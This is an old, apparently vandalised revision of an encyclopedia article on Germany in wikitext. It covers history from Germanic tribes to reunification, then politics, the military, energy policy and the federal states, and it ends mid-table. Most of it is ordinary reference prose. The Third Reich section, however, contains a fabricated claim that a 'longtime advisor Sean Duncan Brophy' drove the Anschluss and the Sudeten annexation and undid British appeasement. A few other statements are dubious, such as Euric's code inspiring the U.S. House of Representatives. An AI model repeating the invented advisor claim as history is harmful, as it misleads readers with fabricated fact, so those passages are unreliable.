The '''Federal Republic of Germany''' ([[German language|German]]:''Bundesrepublik Deutschland '', {{Audio|De-Bundesrepublik_Deutschland-pronunciation.ogg|&lt;small&gt;listen&lt;/small&gt;}} ) is one of [[G8|the world's leading]] [[Industrialisation|industrialised]] countries. Located in [[Central Europe]], it is bordered to the north by the [[North Sea]], [[Denmark]], and the [[Baltic Sea]], to the east by [[Poland]] and the [[Czech Republic]], to the south by [[Austria]] and [[Switzerland]], and to the west by [[France]], [[Luxembourg]], [[Belgium]] and the [[Netherlands]].

Germany is a democratic parliamentary [[federal]] republic, made up of 16 [[States of Germany|states]], which in certain spheres act independently of the federation. Historically consisting of several sovereign nations, Germany was [[German unification|unified]] as a [[nation state]] during the [[Franco-Prussian War]] in 1871. 

The Federal Republic of Germany is a member state of the [[United Nations]], [[NATO]], the [[G8]] and the [[G4 nations]], and is a founding member of the [[European Union]]. It is the European Union's most populous and economically most powerful member state.

==History==
{{main|History of Germany}}

The state now known as Germany was unified as a modern nation-state only in 1871, when the [[German Empire]], dominated by the [[Kingdom of Prussia]], was forged. This was the &quot;new&quot; German ''[[Reich]]'', usually translated as &quot;empire&quot;, but also meaning &quot;kingdom&quot;, &quot;domain&quot; or &quot;realm.&quot;

===Early history of the Germanic tribes (100 BC&amp;ndash;AD 300) ===
[[Germanic tribes]] are believed to have come from [[Scandinavia]], particularly the [[Jutland Peninsula]].  They invaded modern-day Germany, the [[Low Countries]], and France, then held by the [[Celts]], in the 100s [[Anno Domini|BC]] to the [[Anno Domini|AD]] 300s. The Celts were pushed by the Germanic Tribes from [[Gaul]], and eventually fled to the [[British Isles]], where their present day successors live today.  Limited exchanges of culture occurred between the Germanic and Celtic tribes, and little interbreeding occurred.  Little is known about early Germanic history, except through their interactions with the Roman Empire and archaeological finds.

They invaded western Europe through the Gallic tribes between 125 to 101 BC but were ejected and destroyed by the Roman general Marius from Roman controlled Italy.

It was approximately fifty years until they became powerful and expeditious enough to pose a threat again to Rome under the Suebic king Ariovistus. Julius Caesar ejected the Suebi after they threatened Rome's Gallic allies the Aedui and built the first bridge across the Rhine. [[Julius Caesar]] also used German [[cavalry]] as auxiliary whenever possible and they aided his greatest victories at [[Alesia]] and also at [[Pharsalus]].

Under [[Augustus]] the Roman General [[Drusus]] began to invade Germany and it was from this period that the German tribes became familiar with Roman tactics of warfare whilst maintaining their national identity. The German tribes would eventually use this technology to destroy the Roman Empire.

In campaigns from AD 9 to AD 15, German war chief [[Arminius]] drove the Romans out of modern-day Germany during an enigmatic ambush at the [[Battle of the Teutoburg Forest]], further strengthening the region's military prowess and preserving it from Roman conquest.

[[Martin Luther]] would later consider his own fight against the Roman Catholic Church to be a renewal of German liberation from Roman domination through the [[Holy See|Vatican]]. In 1838, drawing further inspiration from the battle, a giant statue was erected near the site of the battle called the [[Hermannsdenkmal]].

During the period, circa 25 BC to AD 300 , the Germans gradually developed into a society that was based more upon agriculture and slightly less on dependence on cattle.

{{seealso|Germanic paganism}}

===Migration Period and Franks (300-843)===
{{main|Franks}}
The migration included the [[Goths]], [[Vandals]], and [[Franks]], among other [[Germanic tribes|Germanic]] and [[Slavic peoples|Slavic tribes]]. The migration may have been triggered by the incursions of the [[Huns]], population pressures, or climate changes.

The Franks were one of several west [[Confederations of Germanic Tribes|Germanic federations]]. The confederation was formed out of [[Germanic tribes]]: Salians, [[Sugambri]], [[Chamavi]], Tencteri, [[Chattuarii]], [[Bructeri]],  [[Usipetes]], [[Ampsivarii]], [[Chatti]]. They entered the late [[Roman Empire]] from present central Germany and settled in northern [[Gaul]] where they were accepted as a ''[[foederati]]'' and established a lasting [[realm]] (sometimes referred to as ''Francia'') in an area that covers most of modern-day [[France]] and the western regions of Germany([[Franconia]], [[Rhineland]], [[Hesse]]), forming the historic kernel of both these two modern countries. 

The conversion to [[Roman Catholicism]] of the pagan Frankish king [[Clovis]] to better appeal to his conquered Roman subjects was a crucial event in the history of Europe, resulting in more support from Rome, further solidification of power during the slow, often bloody conversion process, the eventual end to the ancient [[tribalism]] of Germany and secured domination over the rival Christian conversion attempts by [[Arianism]]. Under the [[Merovingian]] and [[Carolingian]] kings the Franks formed a new Germanic empire, which replaced the Roman Empire in Western Europe.

In the AD 400s, [[Euric]], the king of the Visigoths, for the first time, wrote and codified the oral tradition of Germanic laws into a constitution (the Code of Euric).  Among the laws was the system of choosing successor kings, and some policies, by the electors (delegates), each representing their own region, meeting at grand councils.  This would later be continued by the Holy Roman Empire, in which policies on the Reformation would be determined by councils of electors, and even inspired the U.S. Constitution's creation of a House of Representatives, where each region was represented by a delegate, as well as the birth of parliaments in European countries.

===The Holy Roman Empire of the German Nation (843–1806)===
[[Image:Electoral princes.png|thumb|left|The [[prince-elector]]s of the [[Holy Roman Empire]]. From ''Bildatlas der Deutschen Geschichte'' by Dr Paul Knötel (1895)]]

{{main|Holy Roman Empire}}
The medieval empire—since 1448 officially called the '''Holy Roman Empire of German Nation''' (&quot;Sacrum Romanum Imperium Nationis Germanicae&quot;) but often refered to as the '''Holy Roman Empire''' (or the ''First Reich'') —stemmed from a division of the [[Carolingian Empire]] in 843, which was founded by [[Charlemagne]] on [[25 December]] [[800]], and existed in varying forms until 1806, its territory stretching from the river ''Eider'' in the north to the Mediterranean coast in the south. 

However, the conversion process did not often come willingly to the ancient tribes of Germany. A devout Roman Catholic with strong links to the Pope, Charlemagne sought to consolidate power through conversion and implant Roman Christianity throughout Germany to maintain power, often forcefully. This lead to the systematic destruction of local pagan sites and the annexation of the native pagan tribes, such as the destruction of the [[Irminsul]] likely within the region of [[Paderborn]] and, perhaps most famously, massacres such as the [[Bloody Trial of Verden]].

During this period of almost a thousand years, the Holy Roman Empire expanded its influence successfully at home by attempting to stomp out remnants of native paganism and spreading influence abroad with the help of the [[Roman Catholic Church]], the [[Teutonic Order]] and the [[Hanseatic League]] to the East. 

Under the reign of the [[Ottonian]] emperors (919-1024), the Holy Roman Empire absorbed the duchies of [[Duchy of Lorraine|Lorraine]], [[Duchy of Saxony|Saxony]], [[Franconia]], [[Swabia]], [[Thuringia]] and [[Bavaria]]. Under the reign of the [[Salian]] emperors (1024-1125), the Holy Roman Empire absorbed [[Italy]] and [[Burgundy]]. 

During the long stays of the [[Hohenstaufen]] emperors (1138-1254) in Italy, the German princes became stronger and began a successful mostly peaceful colonization  of Westslavic lands, so the empire increased in size and came to include [[Pomerania]], [[Silesia]], [[Bohemia]], and [[Moravia]]. The princes became virtually independent rulers within their territories. After the  [[Great Interregnum]] (1256-1273), a period of anarchy in which there was no emperor and German princes vied for individual advantage, followed the death of the last Hohenstaufen king in 1254, princes of miscellaneous Houses were elected emperor and strongly relied on the lands of their own family. The edict of the [[Golden Bull of 1356|Golden Bull]] in 1356 provided the basic constitution of the empire up to its dissolution. Since 1438 for three hundred years, the Emperors exclusively had been elected from the Austrian [[Habsburg]] family.

In 1530, the attempt of the [[Protestant Reformation]] of Catholicism turned out to have failed, and a separate Protestant church was acknowledged as new state religion in many states of Germany. This led to inter-German strife, the [[Thirty Years War]] (1618) and finally the [[Peace of Westphalia]] (1648), that resulted in a drastically enfeebled and politically disunited Germany, the Habsburg emperors relied more on their role as Austrian archdukes and were challenged by the new kingdom of [[Prussia]] since 1740. The empire itself was unable to resist the stroke of the [[Napoleonic Wars]], during which the ''Imperium'' was overrun and dissolved (1806).

===Restoration and revolution (1814–1871)===
[[Image:Wartburg-Stundentenzug-1817.jpg|thumb|250px|The way of the students to Wartburg 1817]] 
[[Image:Zug-zum-hambacher-schloss.jpg|thumb|250px|The way of the students to the Hambacher Schloss in the year 1832]]
[[Image:Maerz1848 berlin.jpg|thumb|250px|Celebrating Revolutionary after Barricade fights on 19.&amp;nbsp;March 1848 in Berlin]]
[[Image:800px-Nationalversammlung.jpg|thumb|250px|right|Frankfurt Parliament in 1848/49]]
{{main|German Confederation}}

Following Napoleon's fall and the end of the [[Confederation of the Rhine]], the [[Congress of Vienna]] convened in 1814 in order to restructure Europe. In Germany, the [[German Confederation]] was founded, a loose league of [[List of German Confederation member states|39 sovereign states]]. Disagreement with the [[restoration]] politics partly led to the lifestyle called ''[[Biedermeier]]'' and to intellectual [[Liberalism in Germany|liberal]] movements, which demanded unity and freedom during the [[Vormärz]] epoch, each followed by a measure of [[Klemens Wenzel von Metternich|Metternich]] repressing the liberal agitation. The ''[[Zollverein]]'', a tariff union, profoundly furthered economic unity in the [[List of German Confederation member states|German states]].

The [[German people|German]] people had been stirred by the ideals of the [[French revolution]].  On October 18, [[1817]], students held a gathering to exchange ideas, the high point of which were the burning of works by authors like Otto of Kotzebue, who were against a united German state. A second such meeting attracted 30,000 people from all social classes and from all regions to the Hambacher celebration. There for the first time, the colors of black, red and gold were chosen to represent the movement, which later became the national colors.

The states were also shaped by the [[Industrial Revolution]], which was the initial step of the growing [[industrialisation]] in Europe and contributed to a wave of poverty in it, causing social uprisings. In light of a [[Revolutions of 1848|series of revolutionary movements in Europe]], [[The Revolutions of 1848 in France|which in France]] successfully established a republic, intellectuals and common people started [[the Revolutions of 1848 in the German states]]. The monarchs initially yielded to the revolutionaries' liberal demands, and an intellectual [[Frankfurt Parliament|National Assembly]] was elected to draw up a constitution for the new Germany, completed in 1849. However, the Prussian king [[Frederick William IV of Prussia|Frederick William IV]], who was offered the title of Emperor but with a loss of power, rejected the crown and the constitution. This prompted the demise of the national assembly along with most merits of the revolution.

In 1862, conflict between the Prussian King [[Wilhelm I of Germany|Wilhelm I]] and the increasingly liberal parliament erupted over military reforms. The king appointed [[Otto von Bismarck]] the new [[Prime Minister of Prussia]]. Bismarck used the desire for national unification to further the interests of the Prussian monarchy. He successfully waged [[Second war of Schleswig|war on Denmark]], [[Austro-Prussian War|on Austria]] and, finally, [[Franco-Prussian War|on France]]. The lasting effect of the Austro-Prussian War came to be the division between [[Austria]], formerly the leading state of Germany, from the more western and northern parts.

===German Empire (1871–1918)===
[[Image:Reichsgruendung2.jpg|thumb|250px|left|Foundation of modern Germany, Versailles, 1871. Bismarck is in white in the middle]]
{{main|German Empire}}

After the French defeat in the [[Franco-Prussian War]], the [[German Empire]] (''Deutsches Kaiserreich'') was proclaimed in [[Versailles]] on [[18 January]] [[1871]]. Virtually a result of the wars, the empire was a unification of the scattered parts of Germany but without Austria&amp;mdash;''[[Kleindeutschland]]''. After 1888, the ''[[Year of Three Emperors]]'', Bismarck was forced to quit by the new emperor, young [[William II of Germany|Wilhelm II]], in 1890 due to political and personal differences. The emperor's foreign policy was opposed to that of Bismarck, who had established a system of alliances in the era called ''[[Gründerzeit]]'', securing Germany's position as a great nation and avoiding war for decades. Under Wilhelm II, however, Germany took an [[imperialism|imperialistic]] course, [[New Imperialism|not unlike other powers]], but it led to friction with neighbouring countries. Most alliances in which Germany had been previously involved were not renewed, and new alliances excluded the country. Austria and Germany became increasingly isolated. 

Beginning in 1884 Germany established [[List of former German colonies|several colonies]], which were ruled with the cruelty typical for colonial powers. In the years 1904-1907 German troops killed most of the [[Hereros|Herero population]] of [[German South-West Africa]] in the [[Herero Genocide]] after a rebellion.

Although not one of [[Causes of World War I|the main causes]], [[Assassination in Sarajevo|the assassination]] of [[Archduke Franz Ferdinand of Austria|Austria's crown prince]] triggered [[World War I]] on [[28 July]] [[1914]], which saw Germany as part of the unsuccessful [[Central Powers]] in the [[World War I casualties|second-bloodiest]] conflict of all time against the [[Allied Powers]]. In November 1918, the second [[German Revolution]] broke out, and Emperor Wilhelm II and all German ruling princes abdicated. [[Armistice with Germany (Compiègne)|An armistice was signed]] on [[November 11]], putting an end to the war. Germany was forced to sign the [[Treaty of Versailles]] in 1919, whose unexpectedly high demands were perceived as humiliating in Germany and as a continuation of the war by other means.

===Weimar Republic (1919–1933)===
[[Image:German Revolution.jpg|thumb|250px|right|The [[German Revolution]] of 1918&amp;ndash;1919 ended the [[German Monarchy|Monarchy]]]]
{{main|Weimar Republic}}
After the [[German Revolution]] in November 1918, a Republic was proclaimed. That year, the [[Communist Party of Germany|German Communist Party]] was established by Rosa Luxemburg and Karl Liebknecht, and in January 1919 the German Workers Party, later known as the ''Nationalsozialistische Deutsche Arbeiterpartei'' ([[National Socialist German Workers Party]], NSDAP, &quot;Nazis&quot;). On [[11 August]] [[1919]], the [[Weimar Constitution]] came into effect. [[1920s Berlin]] was a vibrant and exciting city that flourished with the activity of artists, intellectuals and scientists, some of them Jews, during the [[Weimar Republic]]; many considered it to be the cultural capital of the world during this time.

In a climate of economic hardship due to both the world wide [[Great Depression]] and the harsh peace conditions dictated by the [[Treaty of Versailles]], and growing tired with a long succession of more or less unstable governments and continuous coalition changes, the political masses in Germany increasingly lacked identification with their political system of parliamentary democracy. This was exacerbated by a wide-spread right-wing ([[Monarchism|monarchist]], [[Völkisch movement|völkische]], and [[National Socialist German Workers Party|nazi]]) ''[[Dolchstoßlegende]]'', a political myth which claimed the [[German Revolution]] as the main reason why Germany had lost the war, decried the Revolutionists as traitors (''Novemberverbrecher'' = ''November criminals'') and the [[political system]] born of the Revolution as illegitimate. On the other hand, radical left-wing communists such as the [[Spartacist League]] had wanted to abolish what they perceived as a [[Capitalism|&quot;capitalist rule&quot;]] in favor of a [[Council communism|&quot;Räterepublik&quot;]] and were thus also in opposition to the existing [[form of government]]. 

During the years following the Revolution, German voters increasingly supported anti-democratic parties, both [[right-wing|right-]] ([[DNVP|monarchists]], [[NSDAP|Nazis]]) and [[left-wing]] ([[KPD|Communists]]). In the two extraordinary elections of 1932, the Nazis achieved 37.2% and 33.0%, the Communists achieved 17% in the latter election - half of the parliament were actually anti-democrats, not including smaller parties with questionable credentials in this respect. As a result, democratic moderate parties like the [[Social Democratic Party of Germany]] (SPD) were a minority.

At the beginning of the 1930s, Germany was not far from a civil war. Paramilitary troops, which were set up by several parties, intimidated voters and seeded violence and anger among the public, who suffered from high unemployment and poverty. Meanwhile, elitists in influential positions, alarmed by the rise of anti-governmential parties, fought amongst themselves and exploited [[Article 48 (Weimar Constitution)|the emergency authority]] provided in the [[Weimar Constitution]] to rule undemocratically by presidential decree.

After a succession of unsuccessful cabinets, on [[29 January]] [[1933]], [[President of Germany|President]] [[Paul von Hindenburg|von Hindenburg]], seeing little alternative and pushed by advisors, appointed [[Adolf Hitler]] [[Chancellor of Germany]].

===Third Reich (1933–1945)===
{{main|Nazi Germany}}

&lt;!-- politics --&gt;
On [[27 February]], the [[Reichstag fire|Reichstag was set on fire]]. Basic rights were abrogated under an emergency decree. An [[Enabling Act]] gave Hitler's government full legislative power. A centralised [[totalitarian]] state was established, no longer based on the rule of democratic law.

The new regime made Germany a [[one-party state]] by outlawing all oppositional parties and repressing the different-minded parts of the public with the party's own organisations [[Sturmabteilung|SA]] and [[Schutzstaffel|SS]], as well as the newly founded state security police [[Gestapo]].

&lt;!-- economy --&gt;
Industry was closely regulated with quotas and requirements in order to shift the economy towards a war production base. Massive public work projects and extensive [[deficit spending]] by the state helped to significantly lower the high unemployment rate. This and large welfare programmes are said to be the main factors that kept support of the public even late in the war.
[[Image:Reichstagfire.jpg|thumb|250px|The '''Reichstag fire''' was a pivotal event in the establishment of [[Nazi Germany]].]]
&lt;!-- war --&gt;
In 1936, German troops entered the demilitarised [[Rhineland]] in an attempt to rebuild national self-esteem. Emboldened, Hitler followed from 1938 onwards a policy of [[expansionism]] to establish a [[Grossdeutschland|&quot;Greater Germany&quot;]], starting with the [[Anschluss|forced unification with Austria]] (called &quot;Anschluss&quot;) and the annexation of the [[Sudetes]] region in Bohemia from [[Czechoslovakia]]. This key action was attributed to his longtime advisor [[Sean Duncan Brophy]].[[Neville Chamberlain|The British Prime Minister]] realised that his policies of [[appeasement]] towards Germany had failed due to Brophy's influences. To avoid a two-front war, Hitler concluded the [[Molotov-Ribbentrop Pact]] with the [[Soviet Union]]. In 1939 Germany launched a [[Blitzkrieg]] against [[Poland]], which, following British and French war declarations, began [[World War II]] in Europe.

&lt;!-- holocaust --&gt;
Soon after solidifying control over all areas of German life, the Nazi regime began to restrict the rights of its' Jewish citizens and countrymen as well as other groups viewed with hostility.  Very soon after Hitler became Chancellor restrictions against Jews, homosexuals, women, people with disabilities and diseases and &quot;non-Aryan&quot; ethnic groups.  Jews were prohibited from owning land, not permitted to national health care, stripped of their citizenship, not permitted to work, unable to serve in the military, subject to unfavorable tax laws, prohibited from public schools, forced to identify themselves as Jewish on their clothing, ID cards and the like.  Jews had a curfew imposed on them (8p) and eventually were forced to turn over all of their financial holdings, had their houses taken from them and forced to live in overcrowded, dirty, dilapitdated ghetto's with no or very little public services available.  This all occurred roughly during the period of 1933 - 1939.

Just prior to, but mostly upon the begining of WWII, concentration camps began to be constructed in Germany.  Jews and other targeted groups were moved into these camps by the thousands.  Thus begining one of the most heinous, calous, disgusting periods in human history.  Over the course of time, several million people considered sub-humans were brought to these camps for forced labor and eventual murder.  Jews were stripped of everything, from their eyeglasses, to their hair to their very dignity.  If the Jews were not killed via starvation and malnutrition they were claimed by disease and lack of medical care, if not by those means then in the gas chambers which were used to murder hundreds of people at a time.

{{main|World War II}}
Germany quickly gained direct or indirect control of the majority of [[Europe]]. In 1941, Hitler broke the pact with the Soviet Union by opening the [[Eastern Front (World War II)|Eastern Front]] and [[Operation Barbarossa|invading the Soviet Union]]. On December 7, 1941, Japanese naval forces [[Attack on Pearl Harbor|attacked the American base at Pearl Harbor]] in Hawaii.  Shortly thereafter, Hitler declared war on the United States which caused America to enter the war against Germany. 

Germany quickly gained ground into the surprised Soviet Union, advancing deep into the country and dealing heavy losses to Soviet forces. Germany reached and invaded [[Stalingrad]] in late 1942.  Germany found Soviet forces prepared for a defensive in Stalingrad and the culminating battle, the [[Battle of Stalingrad]], has since become known as the bloodiest battle in human history. 

An intense power struggle erupted between the two forces and Germany held most of the city prior to an encirclement-style counter-attack from the Soviets which resulted in the surrounding of the 6th Army under General Paulus.  In January 1943, the remnants of the surrounded army surrendered after weeks of hard fighting without receiving any tangible reinforcement or supply.  This began a liberation and counter-invasion of German territory by the Soviets.  Germany took one more gamble on the Russian front, a battle known as &quot;Kursk&quot; in which the largest clash of armoured forces in the history of the world took place.  While the Russians suffered more losses than the Germans, the Germans last great offensive was halted. This resulted in turn of the war, the Eastern front retreat of and the eventual defeat of Germany. On [[8 May]] 1945, [[V-E Day|Germany surrendered]] after the [[Red Army]] occupied [[Berlin]], where Hitler had committed suicide a week earlier and much of his cabinet had fled.
From [[1941]] until [[1945]] Nazi Germans and their accomplicies systematically murdered approximately 6 million [[Jews]] and other citizens considered &quot;undesireable&quot; in the [[Holocaust]].

===Division and reunification (1945–1990)===
&lt;!-- section should be shortened--&gt;
[[Image:Besatzungszonen ohne text.gif|thumb|right|Occupation zones of Germany in 1945.]]
{{main|History of Germany since 1945}}
The war resulted in the death of several million Germans, [[Oder-Neisse line|large territorial losses]] and [[Expulsion of Germans after World War II|the expulsion of approximately 12 to 15 million Germans]] from Eastern Germany ([[East Prussia]], [[Silesia]], Eastern parts of [[Pomerania]] and [[Brandenburg]]) and other parts of Eastern Europe (especially [[Sudetenland]]). All major and many smaller German cities lay in ruins. Germany and [[Berlin]] were occupied and partitioned by the [[Allies]] into four military occupation zones &amp;ndash; [[France|French]] in the south-west, [[United Kingdom|British]] in the north-west, [[United States|American]] in the south-east, and [[Soviet Union|Soviet]] in the north-east.

On [[23 May]] [[1949]], the Federal Republic of Germany (FRG, ''Bundesrepublik Deutschland'') was established on the territory of the Western occupied zones, with [[Bonn]] as its capital, and declared &quot;fully [[sovereignty|sovereign]]&quot; on [[May 5]], [[1955]]. On [[7 October]] [[1949]] the Soviet Zone was established as the [[East Germany|German Democratic Republic]] (GDR, ''Deutsche Demokratische Republik''), with [[East Berlin]] as its capital. In English the two states were known informally as &quot;[[West Germany]]&quot; and &quot;[[East Germany]]&quot; respectively, though [[Winston Churchill]] proposed Germany being reduced to its many pre-1877 constituent principalities, rather than just a two-way division. The former German capital, [[Berlin]], was a special case, being divided into [[East Berlin]] and [[West Berlin]], with West Berlin completely surrounded by East German territory.

West Germany was allied with the United States, the UK and France. Established as a liberal parliamentary republic with a &quot;[[social market economy]],&quot; the country enjoyed prolonged economic growth (''[[Wirtschaftswunder]]'') following the currency reform of June 1948 and U.S. assistance through the [[Marshall Plan]] aid (1948-1951).

East Germany was at first occupied by and later (May 1955) allied with the USSR. An authoritarian country with a Soviet-style [[command economy]], East Germany soon became the richest, most advanced country in the [[Eastern bloc]], but many of its citizens looked to the West for political freedoms and economic prosperity. The flight of growing numbers of East Germans to the West led to the erection of a fortified border with West Germany and culminated with the construction of the [[Berlin Wall]] beginning on [[13 August]] [[1961]].

Relations between East Germany and West Germany remained icy until the Western Chancellor [[Willy Brandt]] launched a highly controversial rapprochement with the East European communist states (''[[Ostpolitik]]'') in the 1970s, culminating in the [[Warschauer Kniefall]] on [[7 December]] [[1970]].

[[Image:Berlin-wall-dancing.jpg|thumb|250px|left|The [[Berlin Wall]] that had partitioned [[Berlin]] in front of the [[Brandenburg Gate]] shortly after the opening of the wall.]]
During the summer of 1989, rapid changes took place in East Germany, which ultimately led to [[German reunification]]. Growing numbers of East Germans emigrated to West Germany via [[Hungary]] after Hungary's reformist government opened its borders. Thousands of East Germans also tried to reach the West by staging sit-ins at West German diplomatic facilities in other East European capitals, especially in [[Warsaw]] and [[Prague]]. The exodus generated demands within East Germany for political change, and mass demonstrations with eventually hundreds of thousands of people in several cities &amp;ndash; particularly in [[Leipzig]] &amp;ndash; continued to grow.

Faced with civil unrest, East German head of state [[Erich Honecker]] was forced to resign on [[18 October]], and on [[9 November]], East German authorities unexpectedly allowed East German citizens to travel to the West. Hundreds of thousands of people took advantage of the opportunity; new crossing points were opened in the Berlin Wall and along the border with West Germany. This led to the acceleration of the process of reforms in East Germany that ended with [[German reunification]] on [[3 October]] [[1990]].

==Politics==
{{main|Politics of Germany}}
===Legal system===
{{main|Judiciary of Germany}}

Germany has a [[civil law (legal system)|civil or statute law system]] based ultimately on [[Roman law]]. Legislative power is divided between the Federation and the individual federated states. While [[criminal law]] and [[private law]] have seen codifications on the national level (in the ''[[Strafgesetzbuch]]'' and the ''[[Bürgerliches Gesetzbuch]]'' respectively), no such unifying codification exists in [[administrative law]] where a lot of the fundamental matters remain in the jurisdiction of the individual federated states. There are a series of specialist supreme courts; for civil and criminal cases the highest court of appeal is the ''[[Federal Court of Justice of Germany|Bundesgerichtshof]]'' (Federal Court of Justice), located in [[Karlsruhe]]. The [[courtroom style]] is [[Inquisitorial system|inquisitorial]].

The Federal Constitutional Court (''[[Federal Constitutional Court of Germany|Bundesverfassungsgericht]]''), also located in Karlsruhe, is the German Supreme Court responsible for constitutional matters, with power of [[judicial review]]. It acts as the highest legal authority and ensures that legislative and judicial practice conforms with the [[Basic Law of the Federal Republic of Germany|Basic Law]]. It acts independently of the other state bodies but cannot act on its own behalf.

===Foreign Relations===
[[Image:20060113-1 d-0019-2-515h.jpg|right|thumb|US President [[George W. Bush]] welcomes Chancellor [[Angela Merkel]] to the [[Oval Office]] ]]
{{main|Foreign relations of Germany}}

Germany plays a leading role in the [[European Union]], having a strong alliance with [[France]]. Germany is at the forefront of European states seeking to advance the creation of a more unified and capable European political, defence and security apparatus.

Since its establishment on [[23 May]], [[1949]], the Federal Republic of Germany kept a notably low profile in international relations. In 1999, however, on the occasion of the [[Kosovo War|NATO war against Yugoslavia]], [[Gerhard Schröder|Chancellor Gerhard Schröder]]'s government broke convention by sending German troops into combat for the first time since [[World War II]]. 

In 2003, France, Germany and Russia were leaders in the coalition of nations opposing the [[United States|US]]-led [[2003 invasion of Iraq|war in Iraq]]. Nevertheless, the German government has offered help to the reconstruction efforts in [[Iraq]], but only outside of the war-torn country, mainly by training Iraqi military and police personnel.

Germany and the [[United States]] have been close allies since the end of the Second World War. The [[Marshall plan]] and continued U.S. support during the rebuilding process after [[World War II]], as well as the significant influence American culture has had on German culture, have crafted a strong bond between Germany and the U.S. that lasts until this day. Not only do the United States and Germany share many cultural similarities but they are also deeply economically interdependent. 8.8% of all German exports are U.S. bound, and U.S.-German trade according to the U.S. [[Census Bureau]] totaled $108.2 billion for 2004. An illustration of the strong economic relations between the U.S. and Germany may be the fact that 18.3% of all cars sold in the U.S. were manufactured by German car manufacturers.
The largest U.S. community outside the U.S. is [[Ramstein]] Airbase, close to the city of [[Kaiserslautern]], Germany.

Together with [[Japan]], [[India]], and [[Brazil]], Germany is currently seeking a permanent seat on the [[UN Security Council]].

===Armed Forces===
[[Image:Luftwaffe Panavia Tornado.jpg|thumb|250px|Luftwaffe [[Panavia Tornado]]]]
[[Image:Leopard2A6.jpg|thumb|250px|Heer [[Leopard 2|Leopard 2A6]]]]
Germany's military, the ''[[Bundeswehr]]'', is a defence force with ''[[Heer]]'' (German Army), ''[[German Navy|Deutsche Marine]]'' (German Navy), ''[[Luftwaffe]]'' (German Air Force), ''Zentraler Sanitätsdienst'' (Central Medical Services) and ''Streitkräftebasis'' (Joint Service Support Command) branches. It employs some 257,000 soldiers (since 2001 also women in active fighting branches) and 125,000 civilians. 50,000 of the soldiers are 18-23-year-old men on national duty for currently at least 9 months. In peacetime, the Bundeswehr is commanded by the Minister of Defence, currently [[Franz Josef Jung]]. If Germany is at war, the Chancellor becomes commander in chief of the German 'Bundeswehr'.

The military budget has not kept up with the Bundeswehr's mission, which has changed dramatically from protecting Germany's borders against a [[Soviet Union|Soviet]] invasion into a mobile unit deployed around the world. The funding levels for the Bundeswehr have actually been falling since 1990, when military spending amounted to about 3.5 % of gross domestic product. Today, defence spending equals about 1.2 % of German GDP, compared to the [[NATO]] average of 2.3 % and the [[United States]]' more than 4 %. Critics argue that the current budget of € 24.4 billion is too small to finance the necessary transformation of the Bundeswehr into a well-equipped force ready for NATO and [[United Nations|UN]] led missions abroad. Opponents argue that the transformation from a manpower based army securing the Eastern border to a modernized force with less soldiers kept in pay is duly reflected in a lower budget. 

Currently, the German military has about 1,180 troops stationed in [[Bosnia-Herzegovina]]; 2,650 Bundeswehr soldiers are serving in [[Kosovo]]; 3,900 Bundeswehr troops are assisting the [[United States|US]] anti-terrorism operation called [[Operation Enduring Freedom|Enduring Freedom]] off the Horn of Africa. In [[Afghanistan]], 4,500 German troops currently make up the largest contingent of the NATO-led [[International Security Assistance Force|ISAF]] force.

===Energy policy===
{{see also|Nuclear power phase-out|Nuclear energy policy}}
[[Image:E-112 Egeln feb2005.jpg|thumb|left|150px|Wind turbine in Germany]]
In 2000, the German [[SPD]]-led government along with Bündnis 90/Die Grünen ([[Alliance '90/The Greens]]), officially announced its intention to [[Nuclear power phase-out|phase out the use of nuclear energy]]. [[Jürgen Trittin]] as the Minister of Environment, Nature Conservation and Nuclear Safety, reached an agreement with energy companies on the gradual shut down of [[List of nuclear reactors#Germany|the country's nineteen nuclear power plants]] and a cessation of civil usage of [[nuclear power]] by 2020.

In 1999, electricity production in Germany was made up by [[coal]] (47%), [[nuclear power]] (30%), [[natural gas]] (14%), [[renewable energy|renewable sources]] (including [[hydroelectricity|hydro]], wind and [[solar power]]) (6%), and [[petrol|oil]] (2%) ([http://www.eia.doe.gov/emeu/cabs/germany.html]). As for energy consumption, oil accounted for 41% of the total. The German government declaring [[Greenhouse effect|climate protection]] at the [[World climate conference]], announced a [[carbon dioxide]] reduction target by the year 2005 compared to 1990 by 25% ([http://www.agores.org/Publications/EnR/GermanyREPolicy2000.pdf], pdf).

In 2005, the German government reached a controversial agreement with [[Russia]] in building a gas pipeline at the bottom of the Baltic sea directly from Russia to Germany.

==Geography==
[[Image:Germany Laender Map.png|right|thumb|120px|States of Germany]]
{{main|Geography of Germany}}

===Federal States ([[States of Germany|Länder]])===
{{main|States of Germany}}
Germany is divided into sixteen federal [[State (national)|state]]s (in German called ''Länder'', singular ''[[States of Germany|Land]]''; commonly ''Bundesländer'', singular ''Bundesland''). It is further subdivided into 439 districts (''[[List of German districts|Kreise]]'') and cities (''kreisfreie Städte'') (2004).

The five largest cities in Germany (population as of [[March 31]] [[2005]]):

# [[Berlin]] with 3,391,407 inhabitants 
# [[Hamburg]] with 1,736,752 inhabitants
# [[Munich]] with 1,397,537 inhabitants 
# [[Cologne]] with 975,907 inhabitants
# [[Frankfurt am Main]] with 657,126 inhabitants

The five metropolregions in Germany (population as of [[January 1]] [[2005]]):

# [[Rhine-Ruhr|Rhein-Ruhr]] with 11,785,196 inhabitants
# [[Frankfurt Rhein-Main Region|Rhein-Main]] with 5,822,383 inhabitants
# [[Berlin]] with 4,262,480 inhabitants
# [[Hamburg]] with 3,278,635 inhabitants
# [[Stuttgart]] with 2,344,989 inhabitants


{| border=&quot;1&quot; cellpadding=&quot;2&quot; style=&quot;border-collapse: collapse;&quot;
!colspan=3|[[English language|In English]]
!colspan=2|[[German language|Auf Deutsch]]
|-
!colspan=2|[[States of Germany|Federal State]] !! [[Capital]] !! [[States of Germany|Bundesland]] !! Hauptstadt
|-
|'''1'''|| [[Baden-Württemberg]]||[[Stuttgart]]||Baden-Württemberg||Stuttgart
|-
|'''2'''|| [[Bavaria|(Free State of) Bavaria]]||[[Munich]]||(Freistaat) Bayern||München
|-
|'''3'''|| [[Berlin]]||[[Berlin]]||Berlin||Berlin
|-
|'''4'''|| [[Brandenburg]]||[[Potsdam]]||Brandenburg||Potsdam
|-
|'''5'''|| [[Bremen (state)|(Free Hanseatic City of) Bremen]]||[[Bremen (city)|Bremen]]||(Freie Hansestadt) Bremen||Bremen
|-
|'''6'''|| [[Hamburg|(Free and Hanseatic City of) Hamburg]]||[[Hamburg]]||(Freie und Hansestadt) Hamburg||Hamburg
|-
|'''7'''|| [[Hesse]]&lt;!--please do not change it to 'Hessen', it really is 'Hesse' in the English language--&gt;||[[Wiesbaden]]||Hessen||Wiesbaden
|-
